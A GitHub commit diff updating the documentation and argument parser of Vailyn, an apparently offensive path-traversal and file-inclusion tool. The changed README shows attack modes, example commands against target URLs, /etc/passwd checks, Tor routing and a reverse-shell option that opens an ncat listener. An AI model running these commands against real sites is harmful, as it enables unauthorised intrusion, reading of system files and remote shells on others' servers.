Skip to content

Commit

Permalink
updated docs
Browse files Browse the repository at this point in the history
  • Loading branch information
VainlyStrain committed Aug 9, 2020
1 parent a1e17d0 commit 699c4d1
Show file tree
Hide file tree
Showing 3 changed files with 12 additions and 5 deletions.
12 changes: 9 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -79,7 +79,7 @@ additional:
-i F, --check F File to check for in Phase 1 (df: /etc/passwd)
-q V, --vic2 V Attack Target, part 2 (post injection point)
-t, --tor Pipe attacks through the Tor anonymity network
-k T, --timeout T Request Timeout
-k T, --timeout T Request Timeout; stable switch for Arjun
-g, --app Start Vailyn's Qt5 interface
```

Expand All @@ -92,7 +92,7 @@ INT attack
2 path-based attack (https://site.com/../../../)
3 cookie-based attack (will grab the cookies for you)
4 infected post data (ELEM1=VAL1&ELEM2=../../../)
5 spider automation fetch + analyze all URLs from site WIP
5 spider automation fetch + analyze all URLs from site
```

You also must specify a target to attack. This is done via `-v VIC` and `-q V`, where -v is the part before the injection point, and -q the rest.
Expand Down Expand Up @@ -126,7 +126,7 @@ To gain a reverse shell, you can use the `-j A P` argument, where A is your list

> **WARNING**
>
> The reverse shell module is NOT production-ready yet! Not all techniques have been implemented yet, and the implemented ones still need polishing.
> The reverse shell module is NOT production-ready yet! The techniques still need polishing & testing.
>
> Also, beware that YOUR IP WILL BE VISIBLE IN THE SERVER LOGS.
Expand Down Expand Up @@ -176,6 +176,12 @@ will infect DATA2 with the payload
`$ Vailyn -v "http://site.com/download.php" -a 1 -l dicts/files dicts/dirs -j MY.IP.IS.XX 1337`
(will start a ncat listener for you)

* Full automation in crawler mode:
`$ Vailyn -v "http://root-url.site" -a 5 -l ANY ANY` _you can also specify depths, lookup file here_

* Full automation, but Arjun needs `--stable`:
`$ Vailyn -v "http://root-url.site" -a 5 -l ANY ANY -k ANY`

### Demo

[![asciicast](https://asciinema.org/a/348613.svg)](https://asciinema.org/a/348613)
Expand Down
1 change: 1 addition & 0 deletions Vailyn
Original file line number Diff line number Diff line change
Expand Up @@ -945,6 +945,7 @@ if __name__ == "__main__":
args = parser.parse_args()
if opt["timeout"]:
variables.timeout = args.timeout
variables.stable = True
assert variables.timeout != None
if opt["debug"]:
variables.verbose = True
Expand Down
4 changes: 2 additions & 2 deletions core/methods/parser.py
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@ def print_help(self):
-i F, --check F {0}File to check for in Phase 1 (df: /etc/passwd){1}
-q V, --vic2 V {0}Attack Target, part 2 (post injection point){1}
-t, --tor {0}Pipe attacks through the Tor anonymity network{1}
-k T, --timeout T {0}Request Timeout{1}
-k T, --timeout T {0}Request Timeout; stable switch for Arjun{1}
-g, --app {0}Start Vailyn's Qt5 interface{1}'''.format(color.RC, color.END))

class VainFormatter(argparse.RawDescriptionHelpFormatter):
Expand All @@ -63,7 +63,7 @@ def build_parser():
metavar="INT",
type=int)
p.add_argument('-k', '--timeout',
help="Request Timeout",
help="Request Timeout; stable switch for Arjun",
metavar="T",
type=int)
p.add_argument('-s', '--post',
Expand Down

0 comments on commit 699c4d1

Please sign in to comment.